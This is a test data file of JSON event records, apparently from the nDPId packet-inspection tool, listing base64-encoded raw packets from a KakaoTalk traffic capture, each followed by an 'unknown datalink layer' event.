+00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1567,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":579566,"pkt_caplen":220,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":220,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMwAAEAAHBH9rgHJAa4KGFK8WgYoHAC4z8mAbFAIiz6fWguGVRmP6IaZ\/xzh28CLk2FQhViSILxQbSJBbey8HzxdBkoCj8syq8i533hNfiHDXSqH6XxgHXgvPB1Mq1BHi8LPVe42v6yfsEGCSKOkqlCvxbkuSRZaeNsM6MmuwXua5lOLGU6Ukhg0FzMS63LH8rLwqugjQtP2W+d2wu38N+gbCsTdYmEAf4i3mNv2REK12jcX+974UvqFuwsvNbn\/p+qFn4WcfoLPAQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1567,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1568,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":591376,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/z0uAbDKOfq4BA1SapdoKV05+cF2lnMvR+rCYldownXhsees10mEY8MTLf4K2Cp1r2mzEJApc8TZi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1568,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1569,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":599341,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/08eAbDKPfq4Ew1SapdrHQPOLVpMt6pI1lG1rv9fDc6uTXo4STzXOKSOcPhq7Tdvs0kbYdowwjnL6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1569,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1570,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":604407,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/izuAbDLBfq7AQ1SapdqKQOgydc0mUgMm8yMK8+pABGxwsfctRS1hPMOns2EZe47Tpwbf7psyaevt"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1570,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1571,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":607886,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJsAAEAAPxHbBwoYUrwByQGuLDhaBACHM2+AbFA7iz9emguGVRkgbE97Ohzdri9oOzp9eOLVp57bADM3RwV9J3rflISOdo47fFbIbiYTUqE4m7FECQGaUm8XXTJDRRTBEdlG\/ynjuBMyBlG+v+D1sdBtE4NrMshhQ9OeqQWW\/dtfK1FiuwTkXe8EYj44iLlySI4Pyxr0Cffg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1571,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00557{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1572,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":609046,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKsAAEAAPxHa9woYUrwByQGuLDhaBACX7CqAbFA8iz9iWguGVRn5Wbiy4tM4LIOF4HJkUZ1JkUz9WX7TkJOYJTK7PpQFOFO+o\/cwapTpI368FnDZWGQ0qmYvxvxOfVN7HgpoBqhMizDLllpE8JYWXyE3Ac78ZGYMMA0AEqB8CZlli3z+Imls9oW4Tv9+MZstp23PlqQVLGoguvrLsGAG0C5uNUwuUUHUMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1572,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1573,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":641272,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/qCiAbDLCfq7EA1Sapdq+mnvSS7aAJHuWs5x8fmNVfk6UHRl7r6n4Xo\/Y01MJhLoY1kW3\/ElSmucC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1573,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1574,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":655249,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHBH9rAHJAa4KGFK8WgYoHAC6Pu+AbFAJiz6jGguGVRltD0xwkmh2y4gkgxIKpjQnVK\/giCtwzw4ZTwsq26ZZzivSdb1Lo0Wh0IA8mgXmdFhqfD4ewrlfgu3jXHMjjWgxG3Dd+rTuBKylDH8x\/7E+ZyRbudauw8ug7LoMuam9ibJrvAf4GX6KW53M0DAem01OznwWHmvrSYP1mZA1+QqrJBR13n3Jqv+cN\/qpwyQTA1o90ZdCBgmtHb6g2SFnFNZb6U6DZaxa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1574,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00593{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1575,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":655371,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMgAAEAAHBH9sgHJAa4KGFK8WgYoHAC0GnOAbFAKiz6m2guGVRmPe+n8PF7\/+gQDsTTwcdS3DtVl8jjjwDa2sH093hOBXpdofEL7xFPl84U6J2mTerMP7qfWO56dVqB511S2dauNEbQCKjB2Bgp1cHYFKb3xyJaGHpZoriyFiFdHSnm+uET+Yg12Y1SAYq11JBA95YPkTRuBvg9bUCg5kJ8k+DsguqifbyKOD9yjp4MkMYH55dFLBqRi3r589KIOurxpXIW7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1575,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1576,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":659247,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/Ye2AbDKQfq4Ig1Sapdr8e6QbvbguxvhbBh2mkcVur49crdPQqAR96Dt5HVIwFd5kt1Bj3sxtWOrd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1576,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1577,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":667273,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/juaAbDKRfq4MQ1SapdpLNPzv7flJ1yZ2Zy+wKNZfcrZKk24UrBrbexhIH0ZelkZDvboUamdRq6dJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1577,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1578,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":691291,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHBH9tAHJAa4KGFK8WgYoHACy9U6AbFALiz6qmguGVRmI7fpBJlCY7HdPICAm0sQ5L0avo\/uREPkvzATs77UQsDVo4Enn+YtlgPGuABxAu0uge6u3phe3tvwG9vZJyvmDejO5thxAUf46xtUluJP9MEGCkwKYR2LQU25IHUhnlA3mzpQAwiLrbnYwQ2hgH8r8D44pzUveBQriiZwdO\/UkZYFuLQk2Pm7\/7oxP1JZEWHonWNSqjWZGU+Qld0qYsA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1578,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1579,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":697272,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/rOGAbDLDfq7Hw1Sapdoqbpz+9yP+wzocxxekOC4Ticond4c9NkUOpuCELi4sFfvP336H6kdkVWUz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1579,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1580,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":699286,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHBH9tAHJAa4KGFK8WgYoHACyhECAbFAMiz6uWguGVRnThlUG4RMriwzSMQbNH0RN2bEZBbrkcsLZwjFJrZZ1Gznx+c\/GVWFfKFx3XWO6lEmjVHfGWjtEgR8A7MwSG346OjEd8JM6CV4Q\/+2e+\/wdEYIdU7ZmHZyD\/Itax2lYOADWNyGnBnYHaVALyYqu8IsOCI4GG1aoymeW803\/BwGyNolCe4zb5bTggwHQwMA7FYGQwpEfezLAUSevD0W5QQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1580,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1581,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":707373,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAPxHbMQoYUrwByQGuLDhaBABduzyAbFA9iz9mGguGVRkiCYfbfd8d3ehf4uWMkmVGznza0yJsb85GLvSjRyptelYWwxuZ6dgsJHRcqh+K2npQRs0OlWESBdFYt5+3B0SyrDe\/DXwId+Je"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1581,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1582,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":708625,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAPxHbNwoYUrwByQGuLDhaBABXLqSAbFA+iz9p2guGVRnOmANmPbRDguM6FPcUlF8PvG4YFKtnOzft4GIoUmZ4soShWb1XdvQGHWAlhrZ6\/1s94FkS7a2cFLliyPbH1icC1uCj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1582,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1583,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":711249,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/dJeAbDKSfq4QA1SapdoZ1BoXKnkIgXM9mcwaiz2HJelPFua60ZR5Y6UxXQUZI4OUzO7hML2eHsrM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1583,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1584,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":738349,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBq5PmByAAMVJql2qYHTBmisFcajp0EBzJIsXNCI++jKLyUklMRwfvVOkhq4VlS+ZS5LqHSTfw95iC5n4BT8q1ZYniPaEa8ctbh965scWdcRsJoQbPVG66AAAAH\/sDFLyAvKUy5Ug=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1584,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1585,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":738501,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/uQiAbDLEfq7Lg1Sapdr34uem9MxC3nsCgy94Waf7cEsG7w6kfjQ9JUcNmEzai52Siu3dXC7+f2yH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1585,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1586,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":743262,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZN5qAbFANiz6yGguGVRnr6NqnIDsW8DMTWwilZzTGyICynenjj1JoUAchwfGOqn+FXT4XFDBT6pfpUICQF9gLNoEhmlOxeY3TEEQl8nN9g\/SsT9130H9PXEjUtpLav3NX4WAL8ChsqBcZdBt3If4mIvmt3z4nH4JR+YDngVAJOG\/LNQwGR1IqUUfK0ePqdfILqNIy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1586,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1587,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":751959,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/+ACAbDKTfq4Tw1SapdqVD82ugpSdPbS42nK7yZxR1CvAVaLLA1UwFisOgQXnt9T4R8br8Mo4Yb1E"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1587,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1588,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":759314,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/5GaAbDKUfq4Xg1SapdqP7sVgzncXTJ2LyoIdS2R1EO2ctegJXdp2\/y4b9FI8gQJYjd6oKCZSEtGR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1588,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1589,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":779456,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK4AAEAAHBH9zAHJAa4KGFK8WgYoHACa\/b6AbFAOiz612guGVRlWy+7RJx8ZvXwdFd1O6wcVNr+iGYJTj+QrjgNme9MnnRbBdvTB4AZLaW1iw\/lps4lyetuH1w2tHqRwK0av\/XBWkbkNGjRRWvULBpfJ8NfWC+09Tw020tfJul6GSJiIHAu+33diaiU8L5IB68fC\/gyRHIQ0rhjcFDZaZgCr3Sqdesm6IuWstQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1589,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00516{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1590,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":779608,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHBH96wHJAa4KGFK8WgYoHAB7E3+AbFAPiz65mguGVRkvIx0En1weuXr4iGo5f1+1GAkqjwRAk+d2GmsI45mHDyh48Fmp0K7KAkTkjrtaChHQjSCkDPkuLlLsAcrUznNZXvEJr7wo3NpPgFqX4GWXfMYB3tRZq+c4b7OT3ttFWZneRDmMMjdT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1590,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1591,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":788672,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/VZKAbDKVfq4bQ1Sapdpqtr3lmeAiSP+Yk9RMuRlifmYBKO15IphLYkib1UJ5W2ncdN19zr5hzHlE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1591,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1592,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":799597,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGK9CAbFAQiz69WguGVRnKARKn3YB1GvnwRHFXiV7dllKbirVKqOjtFl4BnOk7CxuzXLvcFKnNuwECgznTNhR0hw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1592,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1593,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":808295,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKsAAEAAPxHa9woYUrwByQGuLDhaBACX4BuAbFA\/iz9tmguGVRlU+7x8tOph+GQvFevFb4vR\/6PozE9NBuTzVN\/CQ+NgkfF58wwMc9QRz9lhBWSJnfsNByHEVJ+518WmaUh3vc+ZAkCDhAe3CsVzYrP7c5qjllIceGEaBU0\/JQPWeH+mU+SZdUWA74hwOKKfLSlyihLlUOK5pdHa96Xax0cUhvQ\/sy4EYg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1593,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1594,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":811530,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ykeAbDKWfq4fA1SapdqiBH9YZDecttuN0gbo9TQI\/+iZ9pZ+C8\/28WQOl+GsSeV76p48ApE71OfJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1594,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1595,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":812140,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHNkOAbFARiz7BGguGVRmv1pVkBPCiRsUHzWzox4HbZXkJWIlaX7rL43lRkovlWgsJH2u\/7cyALuFN+hmYPuu1ayk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1595,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1596,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":821448,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/1VGAbDLFfq7PQ1SapdoJmUR35GuRyJ9pMJeFRCMGlPnUT6x8jn5GkHg4MEyQ1sm4ghVn1MmvlATa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1596,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1597,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":843360,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGiYOAbDKXfq4iw1SapdpRQkBbY7NvAhSxAFaj7y+ckGTdr9GjQ6XWPT\/RozInim0LsoC8kPF0aEs5hYdM5oyyIQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1597,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1598,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":844001,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMWSSAbFASiz7E2guGVRk761KzF8aRv0BVlDoipYkQWK\/qMidzNAfEVx\/ATrZFTEnRo++Qy+UuBEaD5BErZ\/NnblGwdpje8A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1598,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1599,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":852057,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABI0eOAbDKYfq4mg1Sapdp3JqJcmpNV3kTqKArIiS7zB\/S8jR8NvbHKjQ0J7J4mu9N\/omoNWnZjzxKxJWhvxEPUTX7O"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1599,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 